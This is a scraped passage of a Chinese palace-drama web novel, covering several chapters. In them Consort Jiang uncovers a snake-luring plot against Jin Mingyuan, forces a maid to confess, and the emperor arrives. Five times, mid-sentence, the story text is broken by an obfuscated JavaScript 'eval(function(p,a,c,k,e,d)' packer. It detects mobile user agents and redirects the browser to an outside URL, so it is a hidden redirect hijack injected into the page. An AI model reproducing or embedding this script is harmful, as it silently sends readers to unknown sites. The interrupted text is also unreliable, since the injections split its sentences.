伴随着她们进来,这柳枝就开始恭恭敬敬的挨个行礼。 那态度和面对进晋明鸢时,简直天差地别。 晋明鸢把这一群人扫了一遍,也看到了个熟悉面孔,她上前两步,拍了一下安妃的肩膀:“你又来看我了呀?” “晋娘娘,我们娘娘今日只是来恭贺姜妃姐姐,顺道过来的,可没有带什么东西。”春樱连忙解释。 上回晋娘娘这么一番张罗,娘娘明明是好心,却沾了那莫名其妙有毒的羹汤,还险些被连累,这回再来,春樱对晋明鸢都带着些许的警惕。 她故意把话题往姜妃身上引,言外之意就是安妃是个配角,让晋明鸢有东西也别找安妃要了。 晋明鸢点头:“晓得晓得,我就是见到熟人,打个招呼而已,你慌什么嘛?” 她倒是坦然,春樱却是在心里暗自嘀咕,能不慌吗? 这会儿太后还和安妃娘娘生着气呢,若是知道安妃娘娘又来冷宫,必定又要气娘娘。 “熟人,看来安妃与晋娘娘关系不一般啊?”寒暄声里,姜妃不紧不慢的道了一句。 她自顾自的在院里坐下,一双凤眸望过来,眼里情绪不明。 “一面之缘而已,姜妃妹妹很在意吗?”安妃说。 “呵,一面之缘?瞧你那不安好心的样子,谁知道你跑冷宫来的时候,心里盘算的什么?怎么这是得偿所愿了?又回来还愿?”姜妃嗤笑一声,话一出口,刻薄无比。 春樱怒道:“姜妃娘娘,我们娘娘到底怎么招惹您了?让您这么三番五次的针对?什么得偿所愿,还愿,难不成这冷宫里还有什么灵验的菩萨娘娘?” 姜妃又是嗤笑,意有所指:“嗤,是不准呢?否则安妃怎么来的这样勤呢?” 春樱又想说话,安妃在这时候拉住了她:“姜妃妹妹,看来对我是多有误解,既然如此,我就不在这里碍妹妹的眼了。” “呵,你早该走了,装模作样。”姜妃没好气道。 对她这态度,安妃也不恼,拉着春樱转身的时候,她眼里闪过了几分了然之色。 旁人听不懂姜妃打的哑谜,作为当事人,安妃可是一清二楚。 她把自己昨夜侍寝的缘故,归咎于自己来过冷宫,那还愿,就是在骂她把晋明鸢当跳板呢。 看来她猜的果然没错,这姜妃确实是在替晋明鸢鸣不平。 那陛下呢? 今日姜妃迁宫,明面上是因为惹怒了陛下,被丢到幽兰馆来,可暗地里,可是陛下有意为之,让她过来守着某人? “娘娘,我们…”春樱最看不得自家主子受委屈,见安妃低眉脸目的要走,她连忙叫了叫安妃。 安妃摇了摇头,示意春樱闭嘴,她自己的脸上却渐渐的浮现了几分趣味。 这一切好像越来越有趣了呢,这宫里只怕也越来越不太平了。 想来姜妃迁宫,很快就有人坐不住了。 有些浑水,还是能避则避。 如此想着,安妃好心提醒:“诸位妹妹,时候不早了,大家早些回宫,莫要耽搁了姜妃妹妹休息。” “装模作样。”姜妃翻了个白眼,又要说什么,就在这时,也不知是谁忽然尖叫一声,“蛇!有蛇!救命!” 尖锐的声音像是把刀子撕裂了平静的夜色,一众养尊处优的嫔妃登时乱做一团,尖叫声连连不止。 原本还老神在这坐着的姜妃乍然起身,撞开了站在自己面前的两名嫔妃,不知有意还是无意,身子正站在晋明鸢面前:“叫什么叫?哪里有蛇?” “那…那里,蛇,好…好多蛇…”有人颤颤巍巍的指了个方向,晋明鸢望过去,就看到两条黑蛇一前一后的爬过草丛,正冲着她们的方向而来。 哪怕这里人那么多,这两条蛇也没有要避的意思。 “都滚开。”姜妃冷斥一声,脚步上前,在一片尖叫里,伸手就攥住了一条蛇拎了起来。 “啊!”有胆小的人见到这一幕,又是一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482388|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊呼,声音尖锐直冲云霄。 晋明鸢听得皱了皱眉,她上前一步,直接捂住了那人的嘴:“小声点,别吵醒我儿子。” 贺云瑄那孩子心思太重,今日下午晋明鸢好不容易才哄他去睡会儿午觉,在晋明鸢心里,万事可都没有她宝贝儿子重要。 那名之前被柳枝称作王昭仪的嫔妃颤抖着,眼泪都憋出来了,双腿也开始发软。 其他人面色稍微好点的,在看到这一幕时,也各个神情古怪。 如今这冷宫里都出蛇了,她就一点也不担心嘛,竟然还关心这点无关紧要的事。 “你…你…” 有人颤抖着出声,话还没说完,就听到开门的吱呀声,贺云瑄站在门口,看着面前这混乱的一幕,神情焦急的往人群里找。 终于找到晋明鸢的身影,他连忙小跑着过来:“娘亲,这是怎么了?可是出什么事了?” “不是什么大事,是她们吵醒你了吗?云瑄要不要再去睡会?”晋明鸢这时才送开了王昭仪,很是有耐心的弯腰过来哄人。 贺云瑄视线却越过她,看向了姜妃,又或者说姜妃手里那已经被她不知道怎么打成结缠绕在一起,扭曲不止的两条黑蛇。 “这是…” “姜…姜妃娘娘,您…您还拿着这东西做什么?为什么不直接处理了?”有人实在看不得这一幕,惨白着一张脸催促道。 这姜妃简直有病。 那么可怕的东西,她抓起来了还不赶紧处理干净,竟然还攥在手里把玩,这世界哪家女子能做出这种事来? “徐婕妤,你急什么?你见谁寻不到凶手销毁证物的?还是说你心里有鬼,心虚了?”姜妃攥着手里的东西,直接冲着那徐婕妤走了过来,脸上还带着一股恶劣至极的笑意。 “什么凶手?什么证物?姜妃姐姐的意思是,这蛇的出现不是意外?”王昭仪脚步后退了许多,目光也不敢朝姜妃那里看,哪怕知道那两条蛇被姜妃拿住了,她依旧头皮发麻,她颤抖着声音问。 第43章 娘亲,你想见那陛下? 两条黑蛇被姜妃打做死结,缠成球状,扭曲的不断蠕动着,甚至还能让人感觉到扑面而来的腥气。 味道刺鼻,令人作呕不止。 有人已经因为受不了刺激作呕不止。 场面乱作一团。 徐婕妤也是捏着鼻子,目光都不愿意朝着姜妃那里看,她慌张的道:“既然不是意外,我们还是赶紧让人去请陛下吧。” 话说着,她就要指挥自己的宫女去请人,姜妃却高声道:“这点小事哪里用得到劳烦陛下?来人,把门给本宫堵住,今日到这里的一个也别想走,本宫倒要看看哪个胆大包天的,竟敢在我眼皮子底下耍手段。” 有了这样一个变故,安妃也没能离开,又重新回到了人群里。 她看着姜妃那仿佛把蛇当成玩物的狠厉模样,平常不喜形于色的脸此刻也略微僵硬,虽是没有像别人那样失态的干呕,但眉心也已然紧紧的皱起。 “姜妃姐姐,这蛇若真是有人蓄意放出来的,那可不是一件小事,必须得通知陛下才行,还是让人先去知会陛下一声吧。”徐婕妤又说。 “徐姐姐说的是,姜妃姐姐,你毕竟没有协理六宫的权力,这事又是出在冷宫,不是出在幽兰馆,就算真的要查,也轮不到你来查。”王昭仪也附和一句。 “就是就是,既是贵妃娘娘还在禁足,这件事需得让陛下来做主才是,安妃姐姐觉得呢?”这儿除去姜妃以外,就安分位分最高,有人试探着叫了安妃。 她们不过是来给姜妃道喜的,平白遇上这种事已经够晦气了,现在又被姜妃关在冷宫里当犯人拘着,这些嫔妃们自然是不情愿的。 安妃拧着眉,目光在晋明鸢身上一扫而过,她说:“姜妃,此事非同小可,还是叫陛下来吧。” “叫陛下,你们遇到一丁点事儿就只知道找陛下解决,难怪陛下烦你们,那几个嚷的欢的,怎么?是心虚了,想趁机逃跑?”姜妃不为所动,她手上略微用力,那蠕动不止的蛇好像感觉到了疼痛,连身子都僵了几分。 “你别含血喷人,我们只是觉得你一没有协理六宫之权,又不是在自己的宫殿,这般行事已是逾越。 大家也都是好心,怕你被陛下怪罪,你怎么能这么不领情呢?还有这等腌臜玩意儿,除了你以外,咱们哪个敢碰? 姜妃只管把姐妹们都拘在这里,怎么不想想你是不是拘错了人,让真的罪魁祸首逃之夭夭了?”徐婕妤怒道。 “是啊姜妃姐姐,这蛇的出现到底是不是意外还无从查证呢,一切都只是你自己的臆想,你把大家都拘在这里,有些说不过去吧? 这冷宫荒凉,有些蛇虫鼠蚁的本就正常,姜妃又何必大费周章?”有人附和道。 “不正常,我与娘亲在这儿待了五年,可从未见过蛇,而且如今已是深秋,也不是水蛇泛滥的夏季,忽然出现两条蛇就是有问题。” 就在一众嫔妃们争执不休时,一道稚嫩的童声忽然响起,在争执声里显得有些突兀,倒是让那些嫔妃罕见的安静些许,错愕的望了过去。 贺云瑄亦是被这两条突然出现的水蛇吓到了,他强行回过神来,苍白的一张小脸儿却是挡在晋明鸢身前,强作镇定的去看姜妃手里的那两条蛇。 幸好今日人多,也幸好这位姜妃不怕蛇,否则若是只有自己与母亲,又或者没能及时发现这两条蛇的话,只怕… 这件事绝对不能姑息,既然姜妃主动要查,那必须查,也只有查出罪魁祸首,才能安心。 想到这里,贺云瑄又道:“姜妃娘娘,今日之事明显是有人要害娘亲,还请您一定要为娘亲做主。” 姜妃的视线与贺云瑄相撞,对上的是小孩一双乌溜溜却又格外坚定的眼睛。 她脸上似是浮现了些许慈爱之色,伸出手来想要摸贺云瑄的脑袋,但触及到贺云瑄背后晋明鸢略带警惕的目光。 她又收回了手,随后看向一众嫔妃:“听见了吗?你们这群蠢货,还没有一个孩童脑袋好使,那个说蛇出现在这里是意外的,你什么居心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482389|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是不是今日做手脚的就是你,你想给自己脱罪?” 被姜妃这么一吼,大多人都低下了头,不敢言语,四周一片寂静,那被姜妃点名的人亦是不敢出声,最后还是徐婕妤说:“姜妃,说到底这件事也轮不到你来查,你这分明是越俎代庖。” “这位娘娘这里是冷宫,是我娘亲的地盘,我娘亲同意姜妃娘娘查,是不是就合情合理了?”贺云瑄说,他伸手拽了拽晋明鸢的胳膊,暗示的意思明显。 方才这群嫔妃如何争执的,他听得一清二楚,她们争来争去,无非就两条路,要么就是请陛下来查,要么就是把这事当做意外。 对于那个素未谋面的陛下,这座皇宫的主人,贺云瑄心里本能的有些犯怵。 他感觉以那人平日里对晋明鸢就不管不顾的态度来看,就算这件事捅到他那里,他也未必会管,反而会选择息事宁人,那么就和第二条路没有区别了。 既是如此,倒不如选择相信姜妃,至少就现在来看的话,姜妃是真心想把这事儿查清楚的。 晋明鸢有些警惕的看着姜妃,这些人对她来说都是陌生的,她一有些拿不准主意,贺云瑄干脆拉着她,使她弯下腰来,踮脚凑在她耳边小声道:“你难道想见那个陛下吗?娘亲,借姜妃的手查这件事,比等那个陛下更方便。” 晋明鸢当然不想见那个她名义上的所谓夫君,尤其是现在她根本就没有记忆,也不确定云瑄的事,直觉告诉她,那所谓的陛下就是个麻烦,自然是能不见就不见的好。 她又看了一眼姜妃,再看贺云瑄一本正经的眼神,终于点了头:“对,我同意姜妃替我查这件事。” 姜妃冷眸一凝,看向徐婕妤:“如今这冷宫的主人都同意本宫来查了,徐妹妹还有异议吗?” 徐婕妤眸光有些微的闪烁,很快又恢复了镇定,她无所谓的道:“你想查就查呗,只是别闹到最后,什么也查不出来,自己丢人现…” 她话还没说完,瞳孔就猛的收缩,她看到… 第44章 姜妃,你莫不是疯了 姜妃攥着手里那团成球状的蛇正冲着她走来,徐婕妤脸色一片惨白,就连脚步也连连后退:“姜…姜妃,你又要做什么?” “本宫讨厌废话多的,你若还敢多嘴,信不信本宫就把这东西塞你嘴里?还有你们,从现在起都给本宫安静,若是再敢胡言乱语,扰乱本宫…” 她没有说下去,但所有人都听懂了她的意思。 那几个好不容易止住了呕吐的胆小嫔妃,这会儿又控制不住的不停干呕起来。 她这一招虽说粗鄙,却格外的管用,冷宫里除去干呕声之外,就再也听不到别的声响。 姜妃很满意这一切,她自顾自的点了点头,又看向了石桌上摆着的糕点:“这糕点是谁拿来的?” “这不是你的人送来的吗?”把这件事交给姜妃来查,晋明鸢本就不太放心,但又耐不住是儿子的请求,她才松口。 现在见姜妃一开口就把问题抛向了那盘糕点,她登时脸色就变了。 “是啊,姜妃娘娘,就是您幽兰馆的人,将糕点送来的,还说给晋娘娘沾沾喜气。” 碰上这样的事,柳枝也不敢耽搁,连忙表示肯定,但脸上的疑惑之意却根本掩不住。 这姜妃莫不是糊涂了,既然要查,她怎么反倒是从自己那里下手? 姜妃转头,目光又落在了徐婕妤身上:“如果本宫没记错的话,是不是你提醒本宫要往冷宫送糕点的?” “姜妃娘娘,您这话什么意思?臣妾是提醒过您,可臣妾也是一片好心啊,再者说了,这糕点从准备到送来,全都是你自己的人做的,臣妾可从未插手过,姜妃娘娘总不能因为臣妾的一句提醒,就强行给臣妾扣帽子吧?”徐婕妤说, “本宫随口一问,徐婕妤解释那么多做什么?莫不是心虚?”姜妃冷笑一声,她手顺便一挥,两条水蛇就被她丢进了装糕点的食盒里。 奇怪的是,这东西碰到糕点,就好像中了什么能使精神亢奋的药物一般,扭曲挣扎的更厉害,身子一下下的撞在食盒的边缘上,发出古怪的声响。 “这糕点真有问题?”晋明鸢问。 看到这一幕,嫔妃们有震惊,有疑惑,但所有的情绪很快就被同一个念头取代。 这姜妃是疯了吗? 她既是把蛇丢到那食盒里,就说明她一找便知道那食盒有问题。 可既然知道,那食盒又是从她幽兰馆里出去的,她不应该毁尸灭迹吗?为什么偏… “所以这糕点就是有问题?是这糕点引来的蛇?姜妃,你要害我?”刚才的话没有得到回应,晋明鸢又问了一遍,这回她的脚步直接上前,伸手攥住了姜妃的衣领。 姜妃丝毫没有躲闪的意思,她略微抬手,手心敷在晋明鸢的手背上:“别慌,我给你交代。” “你这是承认了?”晋明鸢一脸错愕,她甚至怀疑自己听错了。 这姜妃莫不是个傻子?她主张查案,查出来的矛头指向她自己,她这是还直接认了? 那她为什么要查?自找难看吗? 姜妃点头,动作轻巧拨开了晋明鸢的手,下一刻,她长袖一甩,不知道从哪里拿出来了一把长鞭。 鞭子甩在地上,激起一片的尘土飞扬。 安妃蹙眉:“姜妃,你这又是要做什么?” 姜妃根本不理她,手往背后一扯,就拎出来一个瑟瑟发抖的宫女,她道:“静云,你自己说,还是本宫抽到你说?” 那宫女脸色一片惨白,像是被吓坏了,她却极力否认:“奴婢不知娘娘要奴婢说什么?” “这食盒是你准备的,里面放了南疆吸引蛇虫的药粉,这蛇是你招来的,为了害晋娘娘。”姜妃语气笃定,哪怕所有人对这一幕都云里雾里,但一点也不影响她的镇定自若。 “娘娘,你说笑了,奴婢哪有那么大的本事弄来南疆的药粉?”静云继续摇头,但额角上已经冷汗连连。 姜妃忽地笑了:“还狡辩,你是本宫的一等宫女,你弄不来药粉和本宫有啊,谁都知道本宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482390|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲曾是南疆公主,她给本宫留一些东西傍身,并不奇怪。 平日你自是没法偷拿本宫的东西,可今日因为迁宫,人来人往,杂乱无序,这才给了你机会,偷本宫的东西害人,你认或不认?” “奴婢…”静云神色躲闪,额头上的冷汗几乎要滚落下来。 徐婕妤说:“姜妃娘娘好一出大义灭亲的戏码,你自己也说了,这宫女是你的一等宫女,一个小小的宫女,哪有这么大的胆量谋害嫔妃? 再者说她与晋娘娘又能有什么仇怨? 倒是姜妃你,谁不知道你入宫之前就与晋娘娘不合,依我看这事分明就是你自己心生歹意,陷害晋娘娘,如今见事情败露,便推自己宫女顶罪,可真是好手段。” 伴随着徐婕妤这么一开口,那原本慌张无比的静云就好像瞬间找到了主心骨一样,立刻趴在地上哭天喊地:“娘娘,奴婢至您入宫起就跟着您了,这几年来对您更是忠心耿耿,奴婢所作所为都是受您吩咐,您不能就这么舍了奴婢啊。” 冲着姜妃喊完,静云好似尤嫌不够,又转而对着安妃道:“安妃娘娘,各位娘娘,求你们为奴婢做主呀。 奴婢只是一名小小宫女,若非得了主子指示,哪里敢害嫔妃?奴婢…啊!” 哭喊声戛然而止,化作了尖叫,姜妃手里的长鞭带着烈烈破风声,直接抽在了静云的背脊上。 “姜妃,你这是要屈打成招吗?”徐婕妤怒道。 “你闭嘴,这儿有你什么事?容得到你在这里上窜下跳?”姜妃怒斥一句,她弯下腰来,手指捏住了静云的下巴,“对我忠心耿耿,静云,本宫看这两年你在我鸣雀宫待的久了,是忘了你自己的主子是谁了吗? 还是你当真以为本宫不知道,你与贵妃背着本宫接二连三的会面?呵,你那好主子真是厉害,为了陷害本宫竟是这般舍得,竟然舍了你这颗好棋。” 静云瞳孔瞪大,脸上错愕之色明显,她还想摇头,但下巴被姜妃钳制的动不了分毫。 第45章 陛下来了 她怎么知道的? 听她话里的意思,自己每次向贵妃传消息的时候,她都知道,可她为什么从不阻止? 静云只觉得有一股寒意攀爬至全身,她还是嘴硬的否认:“奴婢听不懂娘娘在说什么,奴婢一直都是娘娘的人呀,奴婢…” “听不懂还是不想懂?”姜妃漫不经心的道一句,她手指把玩着手里的长鞭,鞭子一下下的打在地面上,更像是打在静云心上。 “等等姜妃,你这是要做什么?没有证据的事,何必拿出来一遍遍的说?莫不是你还真想屈打成招?”徐婕妤质问一句,又转头对上安妃,“安妃姐姐,你看…” “徐婕妤,此事是晋娘娘拜托姜妃查的,怎么查,如何查,自是全由姜妃说了算,你还是莫要多嘴了。”安妃说。 “可…”徐婕妤还想阻拦,晋明鸢却在这时候上前一步,她一根胳膊搭在了姜妃肩膀上,看着徐婕妤道:“喂,你是贵妃的人吧?” 她说的是个问句,用的却是笃定的语气。 徐婕妤神色微恙,忙不迭的反驳:“胡说什么?我与贵妃有什么关系?” “原是没关系啊,瞧你那悲天悯人的模样,和贵妃还真是一个模子里刻出来的,不知道的还以为你们是亲姐妹呢。”晋明鸢讽刺一句,看着徐婕妤错愕的神色,“只是同情可不是只用嘴说得,这位娘娘既然这么看不得别人受苦,不如等会你与她一并受罚?” “我…关我什么事?你别太过分了。”徐婕妤说。 “这就又不关你的事了,看来这位娘娘的怜悯也只是嘴上说说的呀,只知道靠嘴给自己博个善名,你和那贵妃当真不是亲姐妹吗?”晋明鸢又道。 她这话一说,立刻引得在场的嫔妃都噤若寒蝉。 更有人神色错愕地朝着晋明鸢望过来。 之前贵妃与这位晋娘娘不是最亲密无间吗? 如今怎么又… 姜妃毫无理由的怀疑贵妃就算了,怎么晋娘娘也是这样认为的,难不成此事真是贵妃… 可贵妃那般柔弱的人,真有这等害人心思? 众人纷纷拿不准主意,只觉得今日这事实在是迷惑。 “我…”徐婕妤白着脸,似是又想否认。 姜妃道:“本宫可没有那么多耐心与你们耗着,徐婕妤,你若再不滚开,本宫不介意将贵妃的爪牙一个个的点出来。” 此话可谓是一时激起千层浪。 所有人的目光都在姜妃和徐婕妤身上打转。 徐婕妤更是面色惨白的后退一步,目光闪烁,她不敢与姜妃对峙,嘴上却强作镇定:“跟…跟我有什么关系?贵妃娘娘最是善良,哪里有…” “还说是吧?那本宫真要点了,安妃,本宫记得你跟前有个叫烟…” “姜妃娘娘,奴婢知错了,都是奴婢鬼迷心窍,奴婢知道您与晋娘娘关系不好,便想着给她一个下马威,这才自作主张动了您的东西,求姜妃娘娘看在奴婢忠心耿耿的份上,饶奴婢这一次吧。” 姜妃的话才开了个头,刚才死不认罪的静云忽然连滚带爬的扑了上来,抱着姜妃的腿就开始哭喊。 她嘴上喊着对姜妃忠心耿耿,可在座的各个都精明的很,谁又听不出来她是急着维护贵妃? 这样的变故引得一众人暗自震惊,难道姜妃真的知道贵妃所有的眼线?否则怎么她一开口,就能让静云如此慌张? 看来她刚才随口点出来的那个名字,八成就是真的。 “娘娘…”春樱更是低声唤了安妃一声,脸上的慌张之意明显。 如果姜妃说的话是真的,那贵妃未免太过分了,娘娘身边一直藏着她的眼线,她们竟然都不知道。 安妃摆了摆手,示意她不要多言,视线同样有些错愕的看着姜妃。 这女人平日里最是嚣张跋扈,看是藏不住事,没想到手段藏的这么深。 她刚才点出来的那个人,安妃自己就早有怀疑了,看来… 八成就是贵妃的眼线。 就在一众嫔妃各自失神的时候,一声长鞭破风声响起,把所有人的思绪都拉了回来,姜妃手里的鞭子正甩在静云的背上,她道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482391|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“静云?还不说实话吗?你不说本宫来说好了,你们这等给人做眼线的,家人应该在贵妃手里握着吧,你说如果因为你的缘故,让贵妃埋的暗桩全部暴露,你…” “娘娘饶命,奴婢说,奴婢说就是,今日是贵妃娘娘身边的满春找上了奴婢,这些也都是满春交代奴婢做得。 贵妃娘娘的目的就是要通过娘娘的手害晋娘娘,如此…如此… 如果奴婢现在猜的没错的话,满春应该已经去见陛下了,奴婢把知道的都告诉娘娘了,还请娘娘大发慈悲,救奴婢家人一命。”静云颤抖道。 正如姜妃所说的那般,若是她抵死不认,让姜妃把贵妃所有的眼线都暴露出来,那她的家人一定会受尽折磨。 但现在她及时止损,求姜妃帮忙的话,说不定还… 念头还没有彻底形成,又一记鞭子甩在了她的身上,姜妃道:“求我救人?呵,你以为我是那装的贤良淑德的贵妃吗? 你替她办事陷害我,还指望我替你救人,想的太简单了,本宫可从来都不在意什么名声,来人,此人胆大包天,妄图借本宫的名声害人,拖出去乱棍打死,丢到玉粹宫门前,让她的好主子也看看本宫可是她们随意招惹的?” “姜妃娘娘,饶命啊娘娘,奴婢知错了,奴婢以后再也不敢了,求娘娘饶过奴婢一命吧。”静云哭的上气不接下气,一双手更是抱着姜妃的腿不放。 姜妃却是半点不留情面,抬脚就将人踹开,她使了个眼色,立刻就有幽兰馆的人过来拖了静云离开。 “这…此事难道真是贵妃所为?” “那宫女都已经亲口承认了,还能有假?” “那…贵妃…”有人欲言又止,但很快又下定决心,拿恳求的目光望着姜妃,“姜妃娘娘所言,贵妃在各处都有眼线的事,不知能不能告诉臣妾,臣妾宫里…” 这才是她们最关心的事。 这宫里人人都道贵妃温柔善良,她们多的是人自愿拥护贵妃,可如果… “好说好说,我那里…” “陛下驾到!” 第46章 陛下真舍得罚贵妃? 尖锐的声音打断了姜妃的话。 嫔妃们互相对视一眼,各自慌乱地下跪行礼,姜妃皱了皱眉,也是收了长鞭躬身拘礼。 只有晋明鸢和贺云瑄… 贺云瑄的手指攥着晋明鸢的袖子,脸上尽是无措。 晋明鸢自己视线里同样有茫然划过。 这… 陛下? 她那个名义上的夫君? 怎么来了? 那… 她低头,小心的把贺云瑄拢在怀里,看向门口的目光都有些警惕。 冷宫的大门被完全打开。 一顶轿辇正停在冷宫门口,透过垂下来的轿帘,隐约能看到里面一身黑衣的高大人影。 张公公立在轿辇旁边,扫了一眼在场的嫔妃,目光定格在姜妃身上:“姜妃娘娘,陛下听闻今日冷宫出了事,到底怎么回事?” 姜妃道:“小事而已,都解决干净了,便不劳陛下为此费心了。” 她垂着头,声音听起来不卑不亢的,却引得许多嫔妃惊诧不已。 “小事?姜妃难道就没有什么要解释的吗?”张公公又问。 姜妃说:“陛下,此事臣妾也是遭人陷害,如今事情已经水落石出,罪魁祸首也已伏诛,陛下还要臣妾解释什么? 又或者陛下此番前来要的根本不是一个解释,而是为您的贵妃出头?” “放肆!姜妃,你知不知道你在说什么?”张公公怒道。 姜妃说:“臣妾说的有错吗?臣妾刚处置贵妃的人,陛下马不停蹄的就赶来了。 如果臣妾没记错的话,贵妃应该还在禁足吧,却可以将手伸到冷宫来,这到底是他自己胆大妄为,藐视陛下威严,还是陛下默许的呢?这些事还真是让人捉摸不透呢。” 她的声音意味不明,甚至语气里还能听出些许的讽刺,就好像是对轿辇上的那位很是不满一样。 在场的嫔妃听到她这样的态度,个个都惊出了一身冷汗。 就连贺云瑄也是将晋明鸢的袖子拨开一点,怯生生的看向姜妃。 “朕没有故意包庇她。”令人惊讶的是,姜妃的话,换来的并不是轿辇上的人的震怒,那人反而是叹了一口气,出口的却是一句解释。 轿帘飘扬,掀起的一角露出了轿中人的半张脸,晋明鸢听着他似是有些熟悉的声音,目光控制不住的望过来,能看到的却只有一片棱角分明的下颌线。 这个陛下… 她失忆之后应该没见过才对。 可为什么总觉得这人给她一种熟悉的感觉?尤其是那声音,好像在哪里听过。 还有这人也委实古怪,明明已经来了,却躲在轿子里,也不知在藏什么,还是他那张脸生的丑陋,无法见人? 若是这样,似乎可以解释的过去云瑄的父亲是那个小肚鸡肠的暗卫的原因了。 晋明鸢兀自思忖着,嘴角已经控制不住的勾起了些许笑意。 唉,身份高地位高又如何?这生的见不得人,还是… 想到这里,她实在没忍住,噗嗤一声笑出了声。 贺江灈皱着眉,冷眼扫过来,正好看到晋明鸢脸上没收敛的笑意,还有她目光望过来的时候,眼睛里些许的同情。 虽然不知道这女人在想什么,但贺江灈总觉得对上那样的目光,她浑身都有一种不适感弥漫。 总觉得她没想什么好事。 姜妃也注意到,贺江灈的目光正朝着晋明鸢看,她脚步挪动了一下,一点儿也不避讳的就挡在晋明鸢面前:“既然陛下没有要包庇贵妃的意思,如今此事臣妾也已经解决干净,罪魁祸首,也以伏诛,这儿偏僻,就不劳烦陛下大驾停留了,免得脏了您的脚。” 她话说的意有所指,有些讽刺的盯着那道轿辇。 也不知装什么,明明人已经来了,却在轿子里不下来,既然这么嫌弃冷宫,那他又来做什么? 当年… “姜妃!放肆!”张公公厉声呵斥,“如今你刚搬到幽兰馆来,就连累冷宫出事,你难道不应该反思一下自己吗?谁给你的胆子在这里质疑陛下?” “该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482392|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我的错,我自然会反思,我承认是我自己没有放好东西,才让别人有机可乘,等这事结束了,我自会去领板子赔罪,但还请陛下也莫要轻饶了罪魁祸首。”姜妃说。 “陛下…”听姜妃对自己都这么狠心,张公公一时都有些不知道该说什么,开口小声唤了贺江灈一声。 贺江灈道:“此事确实是贵妃失仪,便让贵妃与姜妃一道受罚吧。” “你确定吗?”像是听到什么有趣的事一样,姜妃忽然上前两步,她道,“臣妾刚搬到幽兰馆来,就给晋娘娘带来了这么多麻烦,臣妾实在心中生愧,打算自领二十大板向晋娘娘赔罪,贵妃她也是如此吗?” “陛下,贵妃娘娘身子弱,哪里能与姜妃娘娘一样,这…”徐婕妤小心翼翼的求情。 姜妃却是一脸夸张的道:“哎呀,徐婕妤,方才陛下可是亲口说了要贵妃与本宫一道受罚的,你现在这般求情,岂不是要让陛下出尔反尔,要陷陛下于言而无信的境地? 这谁都知道,陛下金口玉言,陛下可不能反悔的,对吧?” “张康全,请贵妃来。”贺江灈隔着帘子睨了姜妃一眼,张口下了命令。 姜妃脸上登时就溢开了个明媚的笑,就好像待会儿要挨板子的不是她一样。 “姜妃,这件事不怪你,我与娘亲也不怪你,你还是…”贺云瑄听着这一切,有些不忍心的对姜妃道。 姜妃转过头来,伸出手摸了摸贺云瑄的脑袋:“哎呀,云瑄不用担心了,不就是二十板吗,本宫受得起,你若实在心疼,以后让你娘亲多照顾照顾本宫就是,至于某些人…” 她嗤笑一声,没说是谁,在场众人又有哪个不清楚的? 这会儿谁还不知道,这姜妃就是打定了主意要和贵妃杠上了。 只是大家却依旧不明白,明明是井水不犯河水的两个人,姜妃更是刚触怒陛下搬到了幽兰馆,贵妃为什么在这个节骨眼上陷害她? 还有陛下,平日里恨不得将贵妃当眼珠子疼,这会儿竟然真会为了姜妃三言两语杖责贵妃? 第47章 娘亲不会照顾人 “姜妃!”眼见着姜妃态度嚣张,话也有愈发离谱的意思,张公公直接叫住了她。 